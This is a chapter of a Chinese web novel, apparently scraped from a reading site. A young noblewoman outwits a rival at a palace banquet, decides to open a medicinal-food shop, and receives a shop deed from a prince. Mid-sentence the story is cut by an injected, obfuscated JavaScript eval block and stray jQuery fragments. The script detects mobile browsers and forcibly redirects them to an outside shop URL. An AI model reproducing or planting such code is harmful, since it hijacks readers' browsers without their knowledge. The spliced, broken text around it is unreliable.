第157章 倒打一耙

作品:《全家流放,我在宁古塔盖温泉山庄

    这话一出,周围顿时响起一阵压抑的低笑声。


    是啊,人家楚县主坐得好好的,怎么可能去绊她?


    分明是她自己走路不稳,如今还想倒打一耙。


    赵庆鸾气得浑身发抖,指着楚念,半天说不出一句话来。


    坐在男宾席那边的顾凛渊,将一切尽收眼底,唇角勾起一抹若有若无的笑意。


    他的念丫头,可不是任人欺负的。


    上首的皇后见状,脸色沉了下来。


    “安和!”


    皇后的声音里带着一丝薄怒。


    “在哀家面前如此失仪,成何体统!”


    赵庆鸾身子一僵,再大的怒火也只能憋了回去。


    她不情不愿地跪下请罪。


    “臣女失仪,请皇后娘娘恕罪。”


    皇后挥了挥手。


    “下去换身衣裳吧。”


    赵庆鸾**地应了声“是”,在宫女的搀扶下站起身。


    转身之际,她的目光如淬了毒的刀子,死死地钉在楚念身上。


    那眼神里,再无半分掩饰,只剩下纯粹而刻骨的恨意。


    宴会不欢而散。


    皇后略坐了片刻,便以凤体倦怠为由提前离席。


    没了主人,宾客们也无心久留,三三两两地告退。


    楚念刚走出临水殿,便看到顾凛渊站在不远处的灯影下。


    他换下朝服,一身玄色常服,身姿挺拔如松。


    “我送你。”他走上前,声音自然。


    楚念没有拒绝。


    两人并肩走在宫道上,身后跟着翠竹和侍卫,隔着不远不近的距离。


    “今日之事,你处理得很好。”顾凛渊先开了口。


    楚念偏头看他。“我只是将计就计。”


    “以其人之道,还治其人之身。”顾凛渊的唇角有极淡的笑意。“她自己设的局,摔得不冤。”


    楚念没说话,心里却因他这句话轻松了不少。


    宫门口,楚家的马车已经候着了。


    “安和郡主心胸狭隘,睚眦必报。”顾凛渊看着她,叮嘱道。“往后你多加小心。”


    楚念点头。“我知道。”


    她提着裙摆上了马车,放下车帘前,又看了他一眼。


    顾凛渊依然站在原地,夜色将他的身影拉得很长。


    回到楚府,楚老爷子和楚母都还没睡。


    见她回来,楚母连忙迎上来。“念儿,宴会上没出什么事吧?”


    楚念笑了笑。“没事,母亲放心。”


    翠竹却是个藏不住话的,将殿上发生的事一五一十地说了。


    楚母听得心惊肉跳,拉着楚念的手反复查看。“那安和郡主也太刁蛮了,竟敢在宫里就动手脚。”


    楚老爷子听完,却是长长叹了口气。


    “今日只是一个郡主,往后呢?”他看着楚念,满眼忧虑。“皇恩浩荡,也最是难测。我们楚家,不能总靠着皇上的恩典和墨王的庇护过活。”


    一句话,让屋里的气氛沉了下来。


    是啊,楚家**了,可根基却早已动摇。


    楚老爷子官复原职,但年事已高,不知还能在朝中支撑几年。


    楚云虽在读书,可要入仕途,尚需时日。


    楚家如今看似风光,实则如履薄冰。


    楚念看着愁眉不展的家人,心里忽然有了决断。


    “祖父,母亲,我们自己做些营生吧。”


    楚老爷子抬起头。“做营生?”


    楚念点头。“我们不能只依靠俸禄度日,更不能坐吃山空。楚家要重新在京城立足,必须要有自己的根基。”


    楚母有些犹豫。“可我们家世代为官,从未经过商。”


    “我来做。”楚念的声音很平静,却透着一股力量。


    她看向家人。“我懂医术,也识药材。京中达官贵人最是看重康健长寿。”


    “我想开一间药膳馆。”


    “将珍贵药材融入日常饮食,既能调理身子,又不像汤药那般苦口难咽。如此,必然会有市场。”


    楚老爷子的眼中亮了起来。“药膳馆?”


    他细细思量,越想越觉得此法可行。


    这既发挥了孙女的长处,又避开了直接入府诊病的风险,还能为家族带来稳定的进项。


    “好!”楚老爷子一拍大腿。“这个主意好!”


    楚云也兴奋起来。“姐,我帮你!跑腿、算账,我都能干!”


    楚母见状,也不再担忧,脸上露


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110791|191961||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出了笑容。“那咱们得先找个好铺面。”


    说到铺面,几人又犯了难。


    京城寸土寸金,地段好的铺子,价钱高得吓人,且大多有主,轻易不肯转卖。


    一连几日,楚云跑断了腿,也没找到合适的。


    这日午后,楚念正在房中翻看医书,规划药膳馆的菜单。


    翠竹匆匆跑了进来。“县主,墨王府的管事来了,说是奉王爷之命,给府上送贺礼。”


    楚念有些诧异。


    楚家早已搬回府邸多日,怎的现在才送乔迁贺礼?


    她走到前厅,只见厅中放着一个紫檀木的礼盒。


    墨王府的管事见了她,恭敬行礼。“县主安好。王爷说,听闻楚府乔迁,聊备薄礼,不成敬意。”


    楚念客气了几句,命人收下。


    管事告辞后,楚母和楚云都好奇地围了上来。


    “快打开看看,墨王送了什么。”楚云催促道。


    楚念打开盒盖,里面铺着明黄色的锦缎。


    锦缎之上,静静地躺着一张纸。


    不是银票,也不是什么珍宝字画。


    楚云拿起那张纸,只看了一眼,便惊呼出声。“地契!”


    “什么地契?”楚母凑过去看。


    “姐!是东大街的铺子!”楚云的声音都在发抖。“还是上下两层的临街旺铺!”


    东大街是京城最繁华的地段,一铺难求。


    他们这几日朝思暮想都得不到的铺面,顾凛渊就这么轻飘飘地送了过来。


    礼盒的夹层里,还有一张字条。


    “贺楚府乔迁之喜。”


    字迹风骨天成,正是顾凛渊的笔迹。


    楚母看着那张地契,又看看自家女儿,脸上的笑意藏也藏不住。“这墨王,当真是有心了。”


    楚云在一旁连连点头。“何止是有心,简直是雪中送炭!姐,这下咱们的药膳馆可算是有着落了!”


    楚念拿着那张轻薄却又分量十足的地契,指尖微微发烫。


    这哪里是什么乔迁贺礼。


    分明是知晓了她的难处,不动声色地为她铺平了前路。


    这个男人,总是这样。


    用最沉稳的方式,给她最坚实的支持。